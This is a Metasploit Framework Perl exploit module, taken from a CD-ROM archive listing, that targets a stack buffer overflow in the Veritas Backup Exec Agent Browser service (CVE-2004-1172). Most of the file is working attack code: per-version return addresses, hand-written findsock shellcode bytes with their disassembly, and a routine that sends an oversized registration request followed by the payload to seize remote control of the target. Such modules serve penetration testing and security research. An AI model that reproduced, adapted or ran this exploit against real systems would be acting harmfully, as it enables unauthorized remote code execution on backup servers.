home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / backupexec_ns.pm < prev    next >
Text File  |  2006-06-30  |  5KB  |  170 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::backupexec_ns;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'  => 'Veritas Backup Exec Name Service Overflow',
  20.     'Version'  => '$Revision: 1.13 $',
  21.     'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
  22.     'Arch'  => [ 'x86' ],
  23.     'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003' ],
  24.     'Priv'  => 1,
  25.  
  26.     'AutoOpts'  => { 'EXITFUNC' => 'process' },
  27.  
  28.     'UserOpts'  =>
  29.       {
  30.         'RHOST' => [1, 'ADDR', 'The target address'],
  31.         'RPORT' => [1, 'PORT', 'The target port', 6101],
  32.       },
  33.  
  34.     'Payload' =>
  35.       {
  36.         'MinNops'    => 512,
  37.         'MaxNops'    => 512,
  38.         'Space'     => 1024,
  39.         'BadChars'  => '',
  40.         'Prepend' => "\x81\xc4\x54\xf2\xff\xff",    # add esp, -3500
  41.         'Keys'        => ['+ws2ord'],
  42.       },
  43.  
  44.     'Description'  => Pex::Text::Freeform(qq{
  45.         This module exploits a vulnerability in the Veritas Backup Exec 
  46.         Agent Browser service. This vulnerability occurs when a recv() call 
  47.         has a length value too long for the    destination stack buffer. By 
  48.         sending an agent name value of 63 bytes or more, we can overwrite
  49.         the return address of the recv function. Since we only have ~60 
  50.         bytes of contiguous space for shellcode, a tiny findsock payload 
  51.         is sent which uses a hardcoded IAT address for the recv() function. 
  52.         This payload will then roll the stack back to the beginning of
  53.         the page, recv() the real shellcode into it, and jump to it.
  54.         This module has been tested against Veritas 9.1 SP0, 9.1 SP1, 
  55.         and    8.6.
  56. }),
  57.  
  58.     'Refs'    =>
  59.       [
  60.         ['OSVDB', '12418'],
  61.         ['CVE', '2004-1172'],
  62.         ['URL', 'http://www.idefense.com/application/poi/display?id=169&type=vulnerabilities'],
  63.         ['MIL', '10'],        
  64.       ],
  65.  
  66.     'Targets' =>
  67.       [    # BackupExec 9.1 SP0/SP1 return contributed by class101
  68.         ['Veritas BE 9.1 SP0/SP1',    0x0142ffa1, 0x401150FF], # recv@bnetns.exe v9.1.4691.0 | esi@bnetns.exe
  69.         ['Veritas BE 8.5 ',            0x014308b9, 0x401138FF], # recv@bnetns.exe v8.50.3572  | esi@beclass.dll v8.50.3572
  70.       ],
  71.  
  72.     'Keys' => ['veritas'],
  73.  
  74.     'DisclosureDate' => 'Dec 16 2004',
  75.   };
  76.  
  77. sub new {
  78.     my $class = shift;
  79.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  80.     return($self);
  81. }
  82.  
  83. sub Exploit {
  84.     my $self        = shift;
  85.     my $target_host = $self->GetVar('RHOST');
  86.     my $target_port = $self->GetVar('RPORT');
  87.     my $target_idx  = $self->GetVar('TARGET');
  88.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  89.     my $target      = $self->Targets->[$target_idx];
  90.  
  91.     $self->PrintLine( "[*] Attempting to exploit " . $target->[0] );
  92.  
  93.     my $s = Msf::Socket::Tcp->new(
  94.         'PeerAddr'  => $target_host,
  95.         'PeerPort'  => $target_port,
  96.         'LocalPort' => $self->GetVar('CPORT'),
  97.         'SSL'       => $self->GetVar('SSL'),
  98.       );
  99.  
  100.     if ( $s->IsError ) {
  101.         $self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
  102.         return;
  103.     }
  104.  
  105.     my $code = "\xfc" x 112;
  106.  
  107.   # This will findsock/read the real shellcode (51 bytes, harcoded IAT for recv)
  108.   # The IAT for recv() is for bnetns, the address is shifted by 8 bits to avoid
  109.   # nulls: [0x00401150 -> 0x401150FF]
  110.     my $read =
  111.       "\x31\xf6\xc1\xec\x0c\xc1\xe4\x0c\x89\xe7\x89\xfb\x6a\x01\x8b\x74".
  112.       "\x24\xfe\x31\xd2\x52\x42\xc1\xe2\x10\x52\x57\x56\xb8\xff\x50\x11".
  113.       "\x40\xc1\xe8\x08\xff\x10\x85\xc0\x79\x07\x89\xdc\x4e\x85\xf6\x75".
  114.       "\xe1\xff\xd7";
  115.  
  116.     # Configure the IAT for the recv call
  117.     substr($read, 29, 4, pack('V', $target->[2]));
  118.  
  119.     # Stuff it all into the request...
  120.     substr( $code, 2, length($read), $read );
  121.  
  122.     # Return address to use (jmp esi)
  123.     substr( $code, 66, 4, pack('V', $target->[1]) );
  124.  
  125.     # The registration request
  126.     my $req =
  127.       "\x02\x00\x32\x00\x20\x00" . $code . "\x00".
  128.       "1.1.1.1.1.1\x00".
  129.       "\xeb\x81";
  130.  
  131.     $self->PrintLine( "[*] Sending agent registration request of " . length($req) . " bytes..." );
  132.     $s->Send($req);
  133.  
  134.     $self->PrintLine( "[*] Sending final payload of " . length($req) . " bytes..." );
  135.     $s->Send($shellcode);
  136.  
  137.     sleep(2);
  138.     $self->PrintLine("[*] Waiting for a response...");
  139.     return;
  140. }
  141.  
  142. my $findsock = q{
  143.     00000000  31F6              xor esi,esi
  144.     00000002  C1EC0C            shr esp,0xc
  145.     00000005  C1E40C            shl esp,0xc
  146.     00000008  89E7              mov edi,esp
  147.     0000000A  89FB              mov ebx,edi
  148.     0000000C  6A01              push byte +0x1
  149.     0000000E  8B7424FE          mov esi,[esp-0x2]
  150.     00000012  31D2              xor edx,edx
  151.     00000014  52                push edx
  152.     00000015  42                inc edx
  153.     00000016  C1E210            shl edx,0x10
  154.     00000019  52                push edx
  155.     0000001A  57                push edi
  156.     0000001B  56                push esi
  157.     0000001C  B8FF501140        mov eax,0x401150ff
  158.     00000021  C1E808            shr eax,0x8
  159.     00000024  FF10              call near [eax]
  160.     00000026  85C0              test eax,eax
  161.     00000028  7907              jns 0x31
  162.     0000002A  89DC              mov esp,ebx
  163.     0000002C  4E                dec esi
  164.     0000002D  85F6              test esi,esi
  165.     0000002F  75E1              jnz 0x12
  166.     00000031  FFD7              call edi
  167. };
  168.  
  169. 1;
  170.